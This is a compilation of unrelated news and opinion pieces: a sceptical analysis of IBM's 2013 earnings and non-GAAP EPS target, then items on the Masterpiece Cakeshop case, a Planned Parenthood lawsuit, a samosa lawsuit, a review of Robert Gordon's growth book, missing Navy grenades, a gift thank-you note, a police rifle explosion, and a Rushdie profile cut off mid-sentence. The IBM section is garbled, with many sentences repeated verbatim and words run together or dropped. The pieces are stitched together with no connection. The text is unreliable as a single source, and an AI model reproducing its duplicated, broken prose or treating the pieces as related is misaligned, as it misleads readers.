2010 “Roadmap” go over with shareholders and Wall Street alike, that IBM rolled out another: the 2015 Roadmap, comprising, in this order, “$8 billion of productivity improvement” (e.g. layoffs and reorgs); $50 billion in share repurchases and $20 billion in dividends; and “four growth priorities” that included emerging markets hitting 30% of revenue in 2015, business analytics (e.g. Watson, the Jeopardy champ) hitting $16 billion of revenue in 2015, cloud computing hitting $7 billion of revenue in 2015, and what IBM calls “building a smarter planet”—what everyone else calls “the internet of everything”—hitting $10 billion of revenue in 2015. The bottom line of all this? $20 in earnings per share by 2015. The bottom line of all this?$20 in earnings per share by 2015. But that target came with an asterisk, literally: The asterisk mentioned that the $20 target was a so-called “non-GAAP” EPS target, which “excludes acquisition-related and non-operating retirement-related charges.” The asterisk mentioned that the $20 target was a so-called “non-GAAP” EPS target, which “excludes acquisition-related and non-operating retirement-related charges.” As we pointed out many times in these virtual pages during the many occasions we poked fun at Hewlett-Packard before that company, as a friend likes to say, hit the trees with no flaps down, “non-GAAP” means earnings not prepared in accordance with generally accepted accounting principles. IBM’s 2010 “Roadmap” had come with no such asterisk. Nevertheless, IBM’s recently retired CFO, a key driver behind both “Roadmaps,” always said the $20 EPS target was “all-in,” i.e. while it included gains on sales of things, it also included losses on charges of things. Nevertheless, IBM’s recently retired CFO, a key driver behind both “Roadmaps,” always said the $20 EPS target was “all-in,” i.e. while it included gains on sales of things, it also included losses on charges of things. Fortunately—and quite remarkably, the casual observer might think—those gains and charges on things at times almost exactly offset each other. Fortunately—and quite remarkably, the casual observer might think—those gains and charges on things at timesoffset each other. In the first quarter of 2009, the company had a $265 million “workforce rebalancing charge” offset by a $298 million gain on an asset sale. In the first quarter of 2009, the company had a $265 million “workforce rebalancing charge” offset by a $298 million gain on an asset sale. And in the first quarter of 2010, another “workforce rebalancing charge”—this time $560 million—was paired with another one-time gain of $591 million. And in the first quarter of 2010, another “workforce rebalancing charge”—this time $560 million—was paired with another one-time gain of $591 million. Neat, right? Neat, right? So adept has IBM been at matching the cost of downsizing its operations with gains on sales of bits of those operations that it was apparently hoping to generate a big enough gain from the sale of its server business to offset the $1 billion “workforce rebalancing charge” it took in 2013 (these charges are one of the bigger growth items in IBM’s P&L)—but Lenovo appeared to play hardball and the sale didn’t happen in 2013. Meanwhile, a different, smaller sale (at a reported measly 5-times EBITA), of a service business to Synnex, didn’t close in time to help the 2013 EPS. So adept has IBM been at matching the cost of downsizing its operations with gains on sales of bits of those operations that it was apparently hoping to generate a big enough gain from the sale of its server business to offset the $1 billion “workforce rebalancing charge” it took in 2013 (these charges are one of the bigger growth items in IBM’s P&L)—but Lenovo appeared to play hardball and the sale didn’t happen in 2013. Meanwhile, a different, smaller sale (at a reported measly 5-times EBITA), of a service business to Synnex, didn’t close in time to help the 2013 EPS. Nevertheless, IBM today proudly announced that it had “delivered” fourth quarter EPS of $6.13 a share, “up 14% year-to-year” to bring the full 2013 EPS to $16.28, magically in line with Wall Street’s Finest, and right down the middle of the all-important Roadmap. Nevertheless, IBM today proudly announced that it had “delivered” fourth quarter EPS of $6.13 a share, “up 14% year-to-year” to bring the full 2013 EPS to $16.28, magically in line with Wall Street’s Finest, and right down the middle of the all-important Roadmap. How it got there, though, was way more complicated. How it got there, though, wasmore complicated. After all, revenue dropped 5% (down 3% adjusted for currency). Asia-Pacific revenue was down 6%. China revenue was down 23%. Pretax income dropped 8%. Pretax margins were likewise down. Free c ash flow was down 13% in the quarter and 21% for the year. Yes, you read that correctly: free cash flow was down 21% for the year. Oh, and the company guided first quarter 2014 EPS to something around $2.50 a share versus Wall Street expectations of $3.27 a share—a 24% miss. How, then, did IBM show “up 14% year-to-year” profits in Q4 2013? And how did the new IBM CFO manage to re-affirm the all-important, almighty $20 EPS Roadmap? Well, with a mere 11.2% tax rate, all targets are possible, profitability-wise. “But wait a minute, ” the reasonably informed observer might ask. “W hat is really going on here? Economies are recovering around the world. Europe had a near-death experience two years ago and is healing. China is growing nearly 8%, not shrinking 23%. American industry is recovering broadly. Our banks are healthier than they have been in a decade. State budgets have revived and governments are spending again. “So why the punk revenues at one of the largest, most important purveyors of IT equipment, software and services in that very same world? “And why are 'workforce rebalancing charges' growing from $440 million in 2011 to $803 million in 2012 to $1 billion in 2013, even as US unemployment drops and companies from Google to Amazon to eBay to Apple to Facebook to Salesforce can’t hire engineers fast enough? ” Well, IBM blames hardware, but IBM’s software revenues were only up “3% to 4%,” and that includes acquisitions: the “all-in” approach taken by the CFO means that, unlike most companies playing the non-GAAP game, IBM does not provide organic, non-acquisition-inflated revenues. That is 3-4% growth, inflated by acquisitions, in a world where Salesforce.com is growing 35% a year organically, and Amazon Web Services is growing…don’t ask. Meanwhile, the rest of IBM’s business, a mix of consulting and outsourcing, has been fair-to-middling-to-poor. The reality, we think—never stated on an IBM call, because the discussion never veers from the numbers, but fairly obvious all the same it would seem—is that much of IBM’s business is tied to the “higher value, more profitable technologies,” touted in the IBM annual report as the areas towards which the company has been shifting its business mix over the years (think: helping a company install expensive SAP software on big-iron IBM hardware with white-shoe IBM consultants running the show, all financed by IBM) while shedding the stuff Wall Street did not care for (even its baby, the disk drive business, which IBM invented). And that kind of high cost IT infrastructure business is yesterday’s glory. (Just ask Avon Products, which we will get to in a bit.) Of course, if you are an IBM shareholder, it has been a great ride. After all, pretty much everything the company has been doing, like the song says, it has been doing for you. Here, for example, is how last year’s letter to IBM shareholders began: Notice there is not one mention—not one—of the company’s customers in that first paragraph. You think those customers don’t notice? A fter reading year after year about how many billions of dollars of IBM stock were purchased by IBM using the hard-earned dollars of those customers ($14 billion in 2013, and $140 billion since 2000), you think that those customers, who weren’t thanked by IBM in that letter or on its earnings calls , don’t wonder how Amazon—purveyor of the very kind of cloud offering that is allowing companies young and old to get online without all that expensive, high margin stuff IBM pushes—speaks to its shareholders? Well here’s how Amazon speaks to its shareholders: B y our count, Amazon uses the term “customer” twice in the first paragraph and six times in the first two paragraphs. lowering prices to those customers. And instead of talking about raising gross margins, operating margins and net income margins, as IBM does in its annual report, Amazon talks aboutprices to those customers. No wonder just last month Avon Products jettisoned a $100 million-plus ERP implementation that “did not show a clear return on investment.” For the record, SAP was the ERP system, with IBM WebSphere being used to build the “user interface,” such as it was. No wonder just last month Avon Products jettisoned a $100 million-plus ERP implementation that “did not show a clear return on investment.”For the record, SAP was the ERP system, with IBM WebSphere being used to build the “user interface,” such as it was. And that’s exactly the kind of big budget project IBM’s wheelhouse has been crafted for. And that’s exactly the kind of big budget project IBM’s wheelhouse has been crafted for. And those are exactly the kind of projects that are giving way to the brave new world of Web 2.0. And those are exactly the kind of projects that are giving way to the brave new world of Web 2.0. Perhaps that’s also the reason why every quarter in the last couple years IBM’s revenues seem to be down, or shy of forecasts, or both; and why every quarter last year IBM’s free cash flow was down year-over-year; and why last October the company revised its cumulative “Roadmap” cash flow downward from $100 billion to $85 billion; and why the company seems to be trying to jettison any kind of non-sexy business that makes something that plugs into a wall. Of course, just as there are dangers in analysts leaning too much on management for direction, there are dangers in managements leaning too much on analysts for direction—like when IBM listened to everyone telling them to get rid of that dopey old disk drive business. Of course, just as there are dangers in analysts leaning too much on management for direction, there are dangers in managements leaning too much on analysts for direction—like when IBM listened to everyone telling them to get rid of that dopey old disk drive business. After all, that dopey old disk drive business is now a hot, hot, hot “cloud” business...t he very kind of business IBM wants to brag about on its earnings call. But not to worry, the $20 EPS Roadmap still stands...with an asterisk, of course. Makes you wonder who’s being manipulated here. Makes you wonder who’s being manipulated here. Jeff Matthews Author “Secrets in Plain Sight: Business and Investing Secrets of Warren Buffett” $4.99 Kindle Version at Amazon.com (eBooks on Investing, 2013)$4.99 Kindle Version at Amazon.com © 2014 NotMakingThisUp, LLC -.- The lawyers of the bakery owner who made headlines for declining to make a wedding cake for a same-sex wedding is “evaluating all legal options” to preserve the man’s First Amendment rights after the state’s highest court declined to take the case. “We asked the Colorado Supreme Court to take this case to ensure that government understands that its duty is to protect the people’s freedom to follow their beliefs personally and professionally, not force them to violate those beliefs as the price of earning a living,” Alliance Defending Freedom Senior Counsel Jeremy Tedesco said in an April 25 statement. On April 25 the Colorado Supreme Court declined to review an earlier decision from the Colorado Civil Rights Commission requiring Jack Phillips and his staff at Masterpiece Cakeshop to undergo re-education training and file quarterly compliance reports for two years. “Jack, who has happily served people of all backgrounds for years, simply exercised the long-cherished American freedom to decline to use his artistic talents to promote a message and event with which he disagrees, and that freedom shouldn’t be placed in jeopardy for anyone,” Tedesco continued. Now Alliance Defending Freedom, a nonprofit legal organization that advocates for the rights of citizens to live out their faith freely, says that they are “evaluating all legal options to preserve this freedom for Jack.” The baker made headlines when in 2012 he declined to bake a wedding cake for a couple’s same-sex wedding ceremony, citing his religious beliefs about gay marriage in an exchange that lasted less than a minute, according to Phillips. The baker told the clients he’d gladly make them any other kind of cake, just not one celebrating their same-sex marriage. At the time, same-sex marriage was not legally recognized in the state of Colorado, but the two men filed a legal complaint against him. As a result, the Colorado Civil Rights Commission ordered Phillips and his business to have his staff staff to undergo anti-discrimination training while submitting quarterly reports on how his company is changing its policies to comply. Since then, Phillips’ shop has stopped baking wedding cakes in order to continue operating his business without violating his religious beliefs, he says. -Planned Parenthood sues antiabortion activists Planned Parenthood and its California affiliates filed a federal lawsuit Thursday against antiabortion activists, accusing them of secretly filming staff members to appear as though they were illegally trafficking fetal tissue to advance a larger goal to end women’s access to legal abortions. The complaint, filed in U.S. District Court in San Francisco, is Planned Parenthood’s first legal action against the conservative Center for Medical Progress in Irvine and alleges the group violated numerous state and federal laws and put patients, health providers and others at risk. “It’s time to hold these antiabortion extremists accountable for the laws they have broken and the harm they have caused,” said Beth Parker, chief legal counsel for Planned Parenthood Affiliates of California, in a call with reporters. The filing comes six months after the Center for Medical Progress released covertly recorded videos that purported to show Planned Parenthood officials seeking to make money from the sale of tissue from aborted fetuses to medical researchers, which is against the law. The controversy triggered a series of hearings led by Republicans in Congress and a failed attempt to end federal funding to Planned Parenthood. Program defended Planned Parenthood officials have said the videos were deceptively edited and vehemently defended the fetal tissue program. Stem cells derived from fetal tissues have been instrumental in creating various vaccines, including those for measles and polio, and hold great promise in developing treatments for neurodegenerative diseases such as Alzheimer’s and Huntington’s as well as spinal cord injuries and blindness. “Planned Parenthood provides high-quality, compassionate care and does nothing wrong,” said Kathy Kneer, president of Planned Parenthood Affiliates of California. California features prominently in the controversy because it is one of just two states involved in Planned Parenthood’s fetal tissue donation program, which procures tissue from aborted fetuses for stem cell research. The other state is Washington. Planned Parenthood has accused the defendants — including the center’s leader, David Daleiden, and five others in the organization — of engaging in a three-year “complex criminal enterprise” that involved setting up a sham tissue procurement company called Biomax. The suit says members used fake identities, even going as far as creating bogus driver’s licenses, to gain access to private conferences. Numerous claims The lawsuit, which seeks unspecified damages, claims the defendants violated federal racketeering laws and engaged in wire fraud, mail fraud, invasion of privacy, illegal secret recording and trespassing. Officials from the Center for Medical Progress called the lawsuit frivolous, saying it was filed in retaliation for the group’s “First Amendment investigative journalism.” “This last-ditch move of desperation is going to expose all of the sordid dealings of the California Planned Parenthood affiliates to the light of the legal system, and the public will see them for the corrupt abortion and baby body parts profiteers that they really are,” the group said. Planned Parenthood’s Bay Area affiliates stopped donating aborted fetal tissue after the videos surfaced because it lost its contract with the agency that processed the specimens as a result of the controversy. The agency, StemExpress, has since filed a state lawsuit against the Center for Medical Progress, accusing the group of violating California’s wiretapping laws. In October, Planned Parenthood decided to stop accepting any compensation related to the administration of its fetal tissue donation program in an attempt to eliminate monetary concerns. Since the videos were released, Planned Parenthood officials said its employees have received death threats, been forced to move or go into hiding. In November, a gunman attacked a Planned Parenthood clinic in Colorado Springs, killing three people and injuring nine. Victoria Colliver is a San Francisco Chronicle staff writer. E-mail: vcolliver@sfchronicle.com Twitter: @vcolliver -By Moni Basu and Chelsea Bailey, CNN (CNN) - A small tray of vegetable samosas costs $35 at the Mughal Express restaurant. But one particular tray, sold to strict Hindu vegetarians, might end up costing the Edison, New Jersey, restaurant a whole lot more. The Hindu customers said the restaurant served them meat samosas, harming them emotionally and spirituality. A state appellate court ruled Wednesday that they can sue for the cost of travel to India to purify their souls. Two summers ago, Durgesh Gupta and Sharad Agrawal walked into the popular Mughal Express on Oak Tree Road, in the heart of Edison's Indian community, and ordered samosas. They were strict vegetarians, they said in making sure there was no meat in their order of the traditional Indian snack. Gupta said a restaurant employee assured them that it did not make meat samosas, according to court documents. A half-hour later, the two men picked up a tray labeled "VEG samosas." But after Gupta and his group of 16 people began eating the triangular deep-fried pastries, they grew concerned they were eating meat. When they went to return the uneaten samosas, the restaurant said it had made a mistake, court documents showed. Yes, the vegetarians had consumed meat and believed they were complicit in inflicting death and injury to God's creatures. They sued Mughal Express but a lower court deemed they did not have a case - until this week, when the appellate court reversed that decision. What the 16 Hindus want is compensation for a trip to the Hindu holy town of Haridwar, India, where the Ganges begins its downward flow to the ocean. There, they want to take dips in the river and, by Hindu belief, cleanse their souls of sin. And they want the restaurant to pay for it all. K. Raja Bhattacharya, the lawyer for the vegetarian diners, and David Novack, an attorney representing the restaurant, both declined comment because the case is ongoing. In 2002, McDonald's Corp. paid $10 million to Hindu, vegetarian and other groups in order to settle a lawsuit against the company for failing to disclose that beef flavoring was used in French fries. The company began advertising the fries were vegetarian after they switched to vegetable oil to reduce cholesterol, but the fries contained small amounts of beef flavoring added at the processing plant. But the McDonald’s case may have been more compelling because it was not just an isolated incident of accidental service of meat, said Suhag Shukla, legal council for the Hindu American Foundation. The Mughal Express customers who sued thought it otherwise. An Indian restaurant should have been more sensitive to this issue, they argued. Still, some Hindus felt the diners were taking things too far. They doubted whether there was any karmic debt associated with the consumption of meat. Pradip Kothari, president of the Indo-American Cultural Society in Edison, suggested the diners could easily go to a temple to cleanse their souls. Indian-Americans have much to be grateful for in America, he said, and the lawsuit takes advantage of a U.S. judicial system that has afforded them individual protections. "I understand how they feel," Kothari said. "I myself am a Hindu. But this is hypocrisy of the law." And of religion, he said. "If you are a true religious person, God teaches you to forgive." He did not know the diners, he said, but they should be ashamed for bringing a bad name not just to Hindus but to the Indian-American community. As for Mughal Express, there were no non-vegetarian samosas on the online menu Thursday. -The Rise and Fall of American Growth: The U.S. Standard of Living since the Civil War, by Robert J Gordon, Princeton University Press, £27.95 Read an extract here And an interview with Gordon here Robert Gordon’s The Rise and Fall of American Growth is an extraordinary work of economic scholarship. At a time when too much of the economics profession prioritises theorising about small issues, Gordon provides new data bearing on what may be the most important economic question of all—what will economic growth be like over the next couple of generations? Moreover, this is one of the rare economics books that is on the one hand deeply analytical, with over 100 figures and tables, and on the other a pleasure to read: it is chock full of anecdotes about everything from flying out of Chicago’s O’Hare airport in the 1970s to the spread of radio in the 1920s to the travails of pharmaceutical research. Pick any random page and you will learn something interesting about American life. It has been said that the further forward you want to forecast, the further back you have to look. Gordon’s interest in this volume transcends the business cycle and even momentous fluctuations like the Great Recession that followed the 2008 financial crisis. His interest is in what kind of growth in living standards average people entering the labour force are likely to see during their working lives. Gordon lines up with Silicon Valley entrepreneur Peter Thiel, who has said that, “We wanted flying cars, instead we got 140 characters.” Despite all the hype coming out of Silicon Valley, Gordon believes we are in a period of modest progress. Whereas many observers worry that because of technology there will no longer be work for an increasing share of able-bodied adults, he thinks there will be work for all, but very little increase in productivity. Disturbingly, his reading of history and his assessment of a variety of factors in the current environment that he calls “headwinds” lead him to the judgement that, “headwinds are sufficiently strong to leave virtually no room for growth over the next 25 years in median disposable real income per person.” “Gordon’s most compelling argument is that the greatest generation was also the luckiest generation” The strongest part of Gordon’s book is his evocation of the remarkable 50-year period between 1920 and 1970. My grandmother was born around the turn of the century and died in the mid-1970s. Reading Gordon’s chapters, I was reminded that over her adult lifetime she saw the flush toilet, electricity for lighting and central heating go from being luxuries enjoyed by a quarter or less of the population to becoming universal. She saw radio come into being and then be supplanted by black-and-white and ultimately colour television. She saw air-conditioning, washing machines, dryers and refrigerators go from non-existent to universal. Over her lifetime, transportation went from meaning walking, riding a horse or taking some kind of train to being primarily based on cars and aeroplanes. When she had my mother in 1922, infant mortality was 75 per 1000 and large families could expect to suffer an infant or childhood death. When her youngest grandchild was born in the 1960s, infant mortality was below 20 per 1000 and life expectancy had risen by more than a decade. It is striking to contrast the changes during my grandmother’s lifetime with those during mine. I have seen the microwave become universal in American kitchens. Automotive air-conditioning has gone from common to universal. A much wider range of TV programmes are now available and with a much sharper picture. There is a wider array of healthy foods. And, of course, I carry a smartphone that keeps me more connected to information sources, friends and colleagues than was imaginable 50 years ago. But whereas my grandmother would have been at sea if returned to her girlhood home, I would miss relatively little if suddenly placed in the home I grew up in. It takes longer and is less comfortable to fly from Boston to Washington or London than it was 40 years ago. There are more highways now but much more traffic congestion as well. Life expectancy has continued to increase, though at about half the pace it did during my grandmother’s day. But the most important transformation—child death being an extraordinary event—had already happened by the time I was born. Gordon’s most compelling argument (although this is not how he puts it) is that the greatest generation is in some ways also the luckiest generation. He provides an onslaught of statistical evidence and carefully considered anecdote in support of the idea that the 1920-1970 period stands out as a period of extraordinary progress in the annals of economic history. While Gordon provides rich discussions of the impact of the Depression, the Second World War and much else, his basic explanation for the remarkable character of the 1920-1970 period is simple. Certain kinds of progress can happen only once. Living in a controlled climate, having access to indoor plumbing, largely eliminating child mortality, controlling infectious disease, and being able to communicate immediately in the absence of physical presence are all examples of transformations that can be built on and improved but seem hard to replicate. Of Gordon’s many charts and graphs the one that impressed me most shows the growth in officially measured total factor productivity by decade from 1900 to the present, pictured above. It steadily escalates from 1900 to 1950 when productivity grew at almost 3.5 per cent and then unsteadily declines to the point where it has averaged well under 1 per cent in the generation since 1990. Many rightly wonder about mis-measurement of productivity as new products become available and quality improves. Gordon is compelling in arguing that productivity growth is indeed significantly underestimated. He is also more persuasive than I expected in arguing that, if anything, this understatement was greater decades ago than it has been recently. In part this is because there were more of these transformational changes that are inherently hard to assimilate in standard frameworks. In part it is because the statisticians do a much better job than they once did of taking account of quality change. Gordon’s aspirations go far beyond writing history. He also seeks to describe the current epoch and to forecast the future. Gordon confronts and largely rejects the views of those he calls the techno-optimists like MIT scholars Erik Brynjolfsson and Andrew McAfee and most of Silicon Valley where Marc Andreessen’s view that “software is eating the world” is widely shared. This optimistic view points to the internet and developments like driverless cars, robotics, 3D printing, and artificial intelligence to argue that we are in the midst of a vast economic transformation in which much of the work currently being done by people will be mechanised leading, presumably, to huge gains in output per worker while raising profound questions of job availability and inequity. “Quality improvements and new products are improving life in ways that do not show up in economic statistics” Gordon acknowledges a “third industrial revolution” built around software and IT but argues that it is much less significant than the “second industrial revolution” of the mid-century because its impacts are largely confined to telecommunications and entertainment. He further argues that it may already be largely played out, and that in any event concerns of technology replacing jobs are not new; workers displaced by new technologies tend to find new jobs, often in sectors created by those new technologies. Gordon is right in pointing to the huge disjunction between the techno-optimist narrative and the productivity statistics. It is hard to see how technology could be displacing huge numbers of workers without raising measured productivity. And if its effects are so pervasive as to lead to large shifts in the distribution of income with innovators capturing huge rents, why do we not see more evidence of increased output? I do not have compelling answers to these questions. Yet it is hard to shake the sense that something unusual and important and job threatening is going on. The share of men between the age of 25 and 54 who are out of work has risen from about 5 per cent in the 1960s to about 15 per cent today as it appears that many who lose jobs in recessions never come back. Perhaps, as Gordon seems to suggest, this is a sociological phenomenon or a reflection of increasing problems in education. But I suspect technology along with trade have played an important role. Economic historians like Paul David have long noted that it took surprisingly long for the benefits of electricity to show up in the economic statistics. Creative destruction takes time. Think about a canonical major innovation like the supermarket. Initially when it is first introduced all the other shops remain in business with reduced volumes. Measured productivity—defined as total sales per retail worker—go down as employment in retailing rises and total sales remain roughly constant. Only with the passage of time and the closing of traditional shops will measured retail productivity increase. If this story is playing out in many different sectors on different rhythms, overall productivity growth could be relatively slow even as there is substantial job losses in sectors further along in the adjustment process. The question of how to square developments that are large enough to have a major impact on wage and employment patterns with the paucity of measured productivity growth looms for future research. But it is not only the expectation of slow total factor productivity growth that informs Gordon’s pessimistic belief that median incomes will be stagnant over the next generation. He points to reduced growth in average educational attainment, rising inequality, an ageing population, a growing national debt and breakdowns in family structure as headwinds that will further slow growth. I wish that I could convincingly rebut his claims. While there is room for argument—for example, with his analysis of fiscal policy (which gives too little weight to the substantial reduction in debt carrying costs) or his confidence that inequality will continue to rise—his broad point seems likely valid. While as already noted, I find Gordon persuasive in his claim that the slowdown in productivity growth is not a figment of mis-measurement, the fact that measured median incomes will be stagnant does not mean that most people will not see rising standards of living over time. Incomes rise as people get further into their careers. And quality improvements and new products are improving life in ways that do not show up in economic statistics, though possibly less so than in the past. So it would be a mistake to regard our children as condemned to economic stasis even before considering Gordon’s various ideas for accelerating growth. Economic frustration is a central challenge of our time. It is surely intimately connected with political dysfunction, loss of faith in institutions and much else. Like most things, it is best viewed with historical perspective. There is no better way to get that perspective than by reading Robert Gordon’s landmark work. -The Navy is investigating the disappearance of 20 concussion grenades from the San Diego-based destroyer Pinckney, according to a Navy official briefed on the incident. The missing ordnance turned up missing during an inventory inspection, said Lt. Cmdr. Rebecca Haggard, spokesperson for Naval Surface Forces Pacific. Haggard would not confirm or deny that the missing ordnance was 20 grenades, citing anti-terrorism force protection policy. "While conducting an inventory accounting review during a Shipboard Explosive Safety Inspection, USS Pinckney (DDG 91) Sailors discovered ordnance was missing," Haggard said. "Immediately after determining the missing inventory could not be otherwise accounted for, the ship conducted two subsequent comprehensive ship-wide inventories and found no other discrepancies. The ship contacted the chain of command and NCIS to initiate an investigation." Pinckney is currently undergoing maintenance pier-side. -Dearest Rebecca, THANK YOU SO MUCH!! Wow, what an extremely awesome gift. I am humbled by your generosity. Thank you for being such a nice Santa. I was chilling at work today when I was informed I had a parcel from Amazon waiting for me in the mail room. I hurried downstairs and thought 'shit that is a large box' when I saw my parcel. Retrieved box and excitedly scurried back up to my desk. It was the longest elevator ride of my life as I went back upstairs. I opened up the box and inside was a familiar grey 'Magnum Essential Equipment' box. By this stage I was pretty excited. Seeing the Magnum box, I was ecstatic. I opened up that box and WOW, HOLY SHIT!. Santa Rebecca had gifted me a pair of Magnum Men's Elite Spider 8.0 Boots. I had a pair of these on my wishlist (my dream list as I call it) and had mentioned them in my Cozy Toes bio. Never did I imagine I would actually get a pair. I love the outdoors, hiking, ruck marching, camping under the stars. Until recently I had had a pair of Magnum boots from my old Army days, until they finally succumbed to the Gods of wear and tear. I was pretty upset and was in dire need of a new pair. Thank you so much Rebecca, this has made for an excellent exchange and has made me so happy. I intend to go for a hike in them this weekend. I have tried them on and had a brief stroll down the road in them. They are super comfortable and fit my size 13 feet just right. Awesome, awesome gift. Rebecca, thank you again. All the best. -EAST LONGMEADOW – Two police officers, training on patrol rifles at the Smith & Wesson shooting range in Springfield, suffered injuries Wednesday morning when one of the firearms exploded. “For one reason or another the weapon had a failure, we really haven’t determined the cause yet,” said Sgt. Patrick Manley. “A round exploded in the chamber and caused the weapon to blow to pieces...It just blew up.” Officer Daniel Atwater, who had been firing the rifle, suffered burns and trauma to his left hand, The three-year veteran could be out for some time while he recuperates, Manley said. Officer Edward Rice, a 20-year-veteran was struck in the shoulder by a piece of the exploding firearm and suffered a minor laceration. He may be out for a short time as well, Manley said. Both officers are expected to fully recover, Manley said, adding that both Smith & Wesson and East Longmeadow police are attempting to determine what caused the rife to explode. “Smith & Wesson’s interest in this is probably as keen as ours,” Manley said, adding that the firearm pieces are currently being held by the company for testing. Paul Pluff, director of marketing and customer service at Smith & Wesson, said an initial on-site inspection of the firearm indicated that the explosion was not due to a defect in it. Such malfunctions are extremely rare Pluff said. “Right now this is a stand-alone incident.” Smith & Wesson engineers and metallurgists continue to probe the malfunction. “There is a number of things that can cause this to happen,” Pluff said. Manley said Atwater’s injuries were consistent with someone who had had a firework go off in his hand. “Luckily, the energy was dissipated forward to his hand and not towards his face,” he said. The weapon in question is an M&P 15, Manley said, adding that the department has had them since 2008. The department has taken its rifles out of service while it probes the malfunction. Manley said the department had been on its third day of training at Smith & Wesson and the rifle in question had been used in prior training sessions. The rifle had probably been fired some 80 to 100 times that morning when “all of a sudden - boom - it didn’t work properly,” he said. The explosion caused the rifle to break into two large pieces and several smaller pieces, Manley said, adding that both officers had been standing at the time. The M&P 15 is widely used by law enforcement agencies and is known for its reliability, Pluff said. “They are all across the country.” -The acclaimed author, who is publishing a long-awaited memoir of his decade in hiding from a murderous fatwa, finds himself threatened once more by fanatics over The Satanic Verses Following several days of rumour, it was confirmed last week that Salman Rushdie had cancelled his appearance at the Jaipur Literature festival, the largest and most prestigious literary gathering in Asia. Rushdie explained his decision on Twitter: "I was told bombay mafia don issued weapons to 2 hitmen to 'eliminate' me. Will do video link instead." Who can blame him? There's nothing like being the target of an assassination plot to make a video link seem the more prudent option. When it was mooted that Rushdie would appear at Jaipur, the Darul Uloom Deoband, an influential fundamentalist Islamic seminary in the neighbouring state of Uttar Pradesh, demanded that his visa be withdrawn. But as Rushdie, who was born in India, drily noted, he didn't need a visa. With the "diplomatic" approach having failed to thwart Rushdie, some of his religious opponents resorted to a more reliable means of censorship: the threat of death. The depressing fact is that almost 23 years after Ayatollah Khomeini issued his fatwa calling for Rushdie's murder, and 13 years after the Iranian government promised to stop supporting his assassination, the novelist is still subject to summary execution orders. Yet it would be wrong to see this latest example of intimidation as just another case of pious oversensitivity to The Satanic Verses. After all, some clerics are in a permanent state of murderous rage, but that hasn't prevented Rushdie paying several visits to India over the past decade, including an appearance at Jaipur in 2007. Just as the original British protests against The Satanic Verses in 1988 were the creation of communal politics back in India, so has this latest furore been manufactured to gain local advantage. An election is soon to be held in Uttar Pradesh, where almost 20% of the voters are Muslim. With religious groups threatening to mobilise that kind of voting block, the governing Congress party clearly decided that it was no time to demonstrate spinal fortitude. "Rushdie has hurt the sentiments of many Indians," announced Chandrabhan Singh, head of the Congress party in Rajasthan, the state containing Jaipur. "He must not be allowed to come to India." Rushdie was no longer welcome. The novelist Hari Kunzru, who was due to appear with the older writer at Jaipur, called Rushdie's absence "a stain on India's international reputation". There had never been any plan to discuss The Satanic Verses, but as if to prove the absurdity of the rumpus, Kunzru decided to "defy the bigots and shoe-throwers", as well as the organisers of the event, by giving a reading from that supremely misunderstood text. It was more than just symbolic literary resistance because The Satanic Verses is still banned in India, which enjoys the dubious honour of having been the first country to proscribe the book. This little saga in Jaipur highlights the fact that little has changed in the past three decades. Political cynicism still wears the clothes of multicultural sensitivity and the posture of tolerance continues to genuflect to intolerance. The irony is that Rushdie is hardly a firebrand these days. If he was once a fearlessly irreverent chronicler of the subcontinent's growing pains, it's been a long time since his novels have openly wrestled with contentious subjects. Even his response to the Jaipur affair has been measured and subdued, as though he were wary of becoming the subject of another fabricated dispute. The fatwa, and the decade lived under police protection at a series of secret locations, inevitably left their mark on Rushdie and his fiction. Seldom has a writer's creative energy had to withstand such a withering shock. Aside from the pressure of living under a death sentence, Rushdie also had to contend with being cut off from the subcontinent, the teeming reality that gave such vivid purpose to his imagination. Born and brought up in Mumbai, Rushdie was the only son of a successful textiles businessman who insisted on sending him to England to attend Rugby school. Removed from the frenzy and colour of India's great port, he was "very unhappy" boarding in the English countryside. After a degree in history at Cambridge, and a stint as an advertising copywriter – he is reputed to have come up with the line "Naughty but nice" for cream cakes – he published his first novel, Grimus, aged 28. It wasn't a great triumph, but six years later his next novel, Midnight's Children, won the Booker prize and ushered in an era of intercontinental post-colonial literature. It was followed by Shame, which was shortlisted for the Booker, and then The Satanic Verses. It's not that he hid from trouble thereafter, for he has been outspoken in his condemnation of religious fundamentalism and the cultural relativism that excuses it, but his fictive instincts seemed to grow less antagonistic and more elliptical. Novels such as The Moor's Last Sigh and Shalamar the Clown, while bold and complex, lacked the vitality of his earlier work. And not wishing to be defined by Khomeini's decree, and doubtless anxious not to prolong his situation, he also tended to avoid talking about the fatwa in interviews. "I was always a writer who was interested in politics," he said in 2008, "and then I think I had an overdose of it. Be careful what you wish for. And one of the effects on my sensibility is to make me want to back away from public discourse. I just want to stay at home and write stories and send them out every couple of years. That's why I got into the game, not to be some major public spokesman on political issues." But later this year, Rushdie will publish a memoir about that lost decade in which he almost OD'd on politics. For the first time, he will explore his experience of the fatwa. It's taken almost a quarter of a century because, he has said: "I needed to have real distance from the material, so that I could approach it like a writing project, not like some Oprah confession. I didn't want it to be a kind of blurt." The Times has already called it "the most significant literary memoir of the 21st century". Whether or not that proves to be the case, it's certainly the most eagerly awaited book since his friend Martin Amis's Experience in 2000. As bizarre as Khomeini's St Valentine's Day message of hate seemed at the time, the fatwa marked one of the major tectonic shifts in the 20th-century cultural landscape, the reverberations of which continue to be felt across the world. Rushdie's late friend Christopher Hitchens claimed that he instantly recognised the fatwa as the opening salvo in a new war, one that would be more dramatically confirmed on 11 September 2001. It will be interesting to see what Rushdie actually felt within the claustrophobic belly of history. Many murders and attempted murders were inspired by the fatwa, but the first casualty was Rushdie's marriage to novelist Marianne Wiggins. The pair split a few months after he was forced into hiding and, while never going into detail, Rushdie has made it clear that the parting was not amicable. The memoir is bound to lift the lid on those painful weeks of shared seclusion. Wiggins was Rushdie's second wife and he has gone on to add two more, plus a second son, Milan – his eldest son, Zafar, was from his first marriage to the late Clarissa Luard. Although the break-up with Wiggins obviously hurt, Rushdie's most injurious union, at least in terms of public profile, was his three-year marriage to Indian-American actress-model Padma Lakshmi. Twenty-three years younger, with a pronounced weakness for celebrity spectacle, Lakshmi met Rushdie at the Manhattan launch party of the doomed magazine Talk, an apt title in this case. People did talk, but at least Lakshmi steered Rushdie's public image away from that of a victim of religious tyranny. Unfortunately, it was towards that of a victim of romantic folly. One consequence is that Rushdie's relationships have since gained more attention than his books. The fatwa memoir should correct that error. It is a momentously large yet profoundly intimate subject, ideally suited to a writer whose best work has always combined historical breadth with psychological depth. "Our lives teach us who were are," Rushdie once wrote. Of the many lessons that his life story might provide, it's the most important one that the Indian authorities have chosen not to learn: give in to gangsters and they always come 